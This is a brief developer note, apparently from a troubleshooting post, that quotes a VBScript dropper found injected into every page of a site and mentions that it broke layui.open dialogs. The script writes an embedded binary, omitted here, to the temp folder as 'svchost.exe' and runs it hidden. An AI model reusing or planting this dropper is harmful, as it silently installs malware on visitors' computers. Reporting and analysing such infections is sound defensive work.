</html><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "二进制流 （省略）"

Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

 

前端每个页面都被注入了 这段代码    刚好这段js代码 影响了 layui.open组建方法的打开